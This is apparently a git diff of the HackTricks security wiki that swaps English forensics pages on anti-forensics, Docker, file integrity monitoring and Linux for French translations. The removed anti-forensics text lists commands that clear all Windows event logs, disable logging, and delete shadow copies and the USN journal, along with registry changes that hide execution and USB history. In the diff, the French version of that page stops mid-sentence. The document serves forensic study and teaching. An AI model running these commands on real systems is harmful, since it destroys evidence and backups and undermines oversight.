-# Timestamps +# Horodatage -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`. +Un attaquant peut être intéressé par **la modification des horodatages des fichiers** pour éviter d'être détecté.\ +Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs `$STANDARD_INFORMATION` __ et __ `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création** et **modification du registre MFT** (MACE ou MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windows explorer** et d'autres outils affichent les informations de **`$STANDARD_INFORMATION`**. -## TimeStomp - Anti-forensic Tool +## TimeStomp - Outil anti-forensique -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Cet outil **modifie** les informations d'horodatage à l'intérieur de **`$STANDARD_INFORMATION`** **mais pas** les informations à l'intérieur de **`$FILE_NAME`**. Par conséquent, il est possible d'**identifier** une **activité suspecte**. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal), or Change Journal, is a feature of the Windows NT file system (NTFS) that **maintains a record of changes made to the volume**.\ -It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) to search for modifications to this record. +Le **journal USN** (Update Sequence Number Journal), ou journal des modifications, est une fonctionnalité du système de fichiers Windows NT (NTFS) qui **maintient un enregistrement des modifications apportées au volume**.\ +Il est possible d'utiliser l'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) pour rechercher des modifications apportées à cet enregistrement. ![](<../../.gitbook/assets/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +L'image précédente est la **sortie** affichée par l'**outil** où il est possible d'observer que certaines **modifications ont été effectuées** sur le fichier. ## $LogFile -All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging).\ -The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.\ -It's possible to use tools like [LogFileParser](https://github.com/jschicht/LogFileParser) to parse this file and find changes. - -![](<../../.gitbook/assets/image (450).png>) - -Again, in the output of the tool it's possible to see that **some changes were performed**. - -Using the same tool it's possible to identify to **which time the timestamps were modified**: - -![](<../../.gitbook/assets/image (451).png>) - -* CTIME: File's creation time -* ATIME: File's modification time -* MTIME: File's MFT registry modification -* RTIME: File's access time - -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison - -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. - -## Nanoseconds - -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. - -## SetMace - Anti-forensic Tool - -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. - -# Data Hiding - -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. - -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: - -![](<../../.gitbook/assets/image (452).png>) - -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. - -# UsbKill - -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. - -# Live Linux Distributions - -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. - -# Secure Deletion - -[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) - -# Windows Configuration - -It's possible to disable several windows logging methods to make the forensics investigation much harder. - -## Disable Timestamps - UserAssist - -This is a registry key that maintains dates and hours when each executable was run by the user. - -Disabling UserAssist requires two steps: - -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. - -## Disable Timestamps - Prefetch - -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. - -* Execute `regedit` -* Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -* Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -* Select Modify on each of these to change the value from 1 (or 3) to 0 -* Restart - -## Disable Timestamps - Last Access Time - -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. - -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. - -## Delete USB History - -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them). - -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. - -## Disable Shadow Copies - -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` - -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) - -To disable shadow copies: - -1. Go to the Windows start button and type "services" into the text search box; open the Services program. -2. Locate "Volume Shadow Copy" from the list, highlight it, and then right-click > Properties. -3. From the "Startup type" drop-down menu, select Disabled, and then click Apply and OK. - -![](<../../.gitbook/assets/image (453).png>) - -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` - -## Overwrite deleted files - -* You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -* You can also use tools like [**Eraser**](https://eraser.heidi.ie) - -## Delete Windows event logs - -* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" -* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` -* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` - -## Disable Windows event logs - -* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -* Inside the services section disable the service "Windows Event Log" -* `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` - -## Disable $UsnJrnl - -* `fsutil usn deletejournal /d c:` - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Toutes les modifications de métadonnées d'un système de fichiers sont enregistrées pour assurer la récupération cohérente des structures critiques du système de fichiers après un crash système. Cela s'appelle [ diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index ed5c55c31..8ce1000e0 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,33 +1,30 @@ -# Docker Forensics +## Forensique Docker
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Container modification - -There are suspicions that some docker container was compromised: +## Modification de conteneur +Il y a des soupçons qu'un conteneur Docker a été compromis : ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Vous pouvez facilement **trouver les modifications apportées à ce conteneur par rapport à l'image** avec: ```bash docker diff wordpress C /var @@ -41,70 +38,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Dans la commande précédente, **C** signifie **Changé** et **A**, **Ajouté**.\ +Si vous trouvez qu'un fichier intéressant comme `/etc/shadow` a été modifié, vous pouvez le télécharger depuis le conteneur pour vérifier s'il y a une activité malveillante avec: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Vous pouvez également **le comparer avec l'original** en exécutant un nouveau conteneur et en extrayant le fichier à partir de celui-ci : ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Si vous constatez qu'un **fichier suspect a été ajouté**, vous pouvez accéder au conteneur et le vérifier : ```bash docker exec -it wordpress bash ``` +## Modifications d'images -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Lorsque vous recevez une image Docker exportée (probablement au format `.tar`), vous pouvez utiliser [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) pour **extraire un résumé des modifications** : ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Ensuite, vous pouvez **décompresser** l'image et **accéder aux blobs** pour rechercher des fichiers suspects que vous avez peut-être trouvés dans l'historique des modifications : ```bash tar -xf image.tar ``` +### Analyse de base -### Basic Analysis - -You can get **basic information** from the image running: - +Vous pouvez obtenir des **informations de base** à partir de l'image en cours d'exécution : ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Vous pouvez également obtenir un résumé de **l'historique des modifications** avec: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Vous pouvez également générer un **dockerfile à partir d'une image** avec: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Pour trouver les fichiers ajoutés/modifiés dans les images Docker, vous pouvez également utiliser l'utilitaire [**dive**](https://github.com/wagoodman/dive) (téléchargez-le depuis les [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) : ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -113,35 +92,16 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Cela vous permet de **naviguer à travers les différents blobs des images Docker** et de vérifier quels fichiers ont été modifiés/ajoutés. Le **rouge** signifie ajouté et le **jaune** signifie modifié. Utilisez la touche **tabulation** pour passer à l'autre vue et **espace** pour réduire/ouvrir les dossiers. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Avec `die`, vous ne pourrez pas accéder au contenu des différentes étapes de l'image. Pour ce faire, vous devrez **décompresser chaque couche et y accéder**.\ +Vous pouvez décompresser toutes les couches d'une image depuis le répertoire où l'image a été décompressée en exécutant: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Identifiants à partir de la mémoire -## Credentials from memory +Notez que lorsque vous exécutez un conteneur Docker à l'intérieur d'un hôte, **vous pouvez voir les processus s'exécutant sur le conteneur depuis l'hôte** en exécutant simplement `ps -ef`. -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Par conséquent (en tant que root), vous pouvez **extraire la mémoire des processus** depuis l'hôte et rechercher des **identifiants** tout comme [**dans l'exemple suivant**](../../linux-hardening/privilege-escalation/#process-memory). diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 117a3f587..28ffa55c7 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,62 +1,44 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Baseline -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Une ligne de base consiste à prendre une capture d'écran de certaines parties d'un système pour **la comparer avec un état futur pour mettre en évidence les changements**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Par exemple, vous pouvez calculer et stocker le hachage de chaque fichier du système de fichiers pour pouvoir savoir quels fichiers ont été modifiés.\ +Cela peut également être fait avec les comptes d'utilisateurs créés, les processus en cours d'exécution, les services en cours d'exécution et toute autre chose qui ne devrait pas changer beaucoup, voire pas du tout. -## File Integrity Monitoring +## Surveillance de l'intégrité des fichiers -File integrity monitoring is one of the most powerful techniques used to secure IT infrastructures and business data against a wide variety of both known and unknown threats.\ -The goal is to generate a **baseline of all the files** that you want to monitor and then **periodically** **check** those files for possible **changes** (in the content, attribute, metadata, etc.). +La surveillance de l'intégrité des fichiers est l'une des techniques les plus puissantes utilisées pour sécuriser les infrastructures informatiques et les données commerciales contre une grande variété de menaces connues et inconnues.\ +L'objectif est de générer une **ligne de base de tous les fichiers** que vous souhaitez surveiller, puis de **vérifier périodiquement** ces fichiers pour détecter d'éventuels **changements** (dans le contenu, les attributs, les métadonnées, etc.). -1\. **Baseline comparison,** wherein one or more file attributes will be captured or calculated and stored as a baseline that can be compared against in the future. This can be as simple as the time and date of the file, however, since this data can be easily spoofed, a more trustworthy approach is typically used. This may include periodically assessing the cryptographic checksum for a monitored file, (e.g. using the MD5 or SHA-2 hashing algorithm) and then comparing the result to the previously calculated checksum. +1\. **Comparaison de la ligne de base**, dans laquelle un ou plusieurs attributs de fichier seront capturés ou calculés et stockés en tant que ligne de base qui peut être comparée à l'avenir. Cela peut être aussi simple que l'heure et la date du fichier, cependant, comme ces données peuvent être facilement falsifiées, une approche plus fiable est généralement utilisée. Cela peut inclure l'évaluation périodique de la somme de contrôle cryptographique pour un fichier surveillé (par exemple, en utilisant l'algorithme de hachage MD5 ou SHA-2) et la comparaison du résultat avec la somme de contrôle précédemment calculée. -2\. **Real-time change notification**, which is typically implemented within or as an extension to the kernel of the operating system that will flag when a file is accessed or modified. +2\. **Notification de changement en temps réel**, qui est généralement mise en œuvre dans ou en tant qu'extension du noyau du système d'exploitation qui signalera lorsqu'un fichier est accédé ou modifié. -## Tools +## Outils * [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) * [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -# References +# Références * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 26da9e658..be59c0e41 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,10 +1,9 @@ -# Linux Forensics +# Forensique Linux ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,27 +11,24 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Initial Information Gathering +## Collecte d'informations initiales -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Informations de base +Tout d'abord, il est recommandé d'avoir une **clé USB** avec des **binaires et des bibliothèques bien connus** (vous pouvez simplement prendre Ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter la clé USB et modifier les variables d'environnement pour utiliser ces binaires : ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Une fois que vous avez configuré le système pour utiliser des binaires bons et connus, vous pouvez commencer à **extraire des informations de base** : ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -50,51 +46,47 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Informations suspectes -#### Suspicious information +Lors de l'obtention des informations de base, vous devez vérifier les éléments suspects tels que : -While obtaining the basic information you should check for weird things like: +* Les **processus root** ont généralement des PIDS bas, donc si vous trouvez un processus root avec un PID élevé, vous pouvez suspecter +* Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd` +* Vérifiez les **hachages de mots de passe** à l'intérieur de `/etc/shadow` pour les utilisateurs sans shell -* **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -* Check **registered logins** of users without a shell inside `/etc/passwd` -* Check for **password hashes** inside `/etc/shadow` for users without a shell +### Dump de mémoire -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Pour obtenir la mémoire du système en cours d'exécution, il est recommandé d'utiliser [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Pour **compiler** LiME, vous devez utiliser le **même noyau** que celui utilisé par la machine victime. {% hint style="info" %} -Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it +Rappelez-vous que vous **ne pouvez pas installer LiME ou toute autre chose** sur la machine victime car cela apportera plusieurs modifications à celle-ci. {% endhint %} -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: - +Donc, si vous avez une version identique d'Ubuntu, vous pouvez utiliser `apt-get install lime-forensics-dkms`\ +Dans d'autres cas, vous devez télécharger 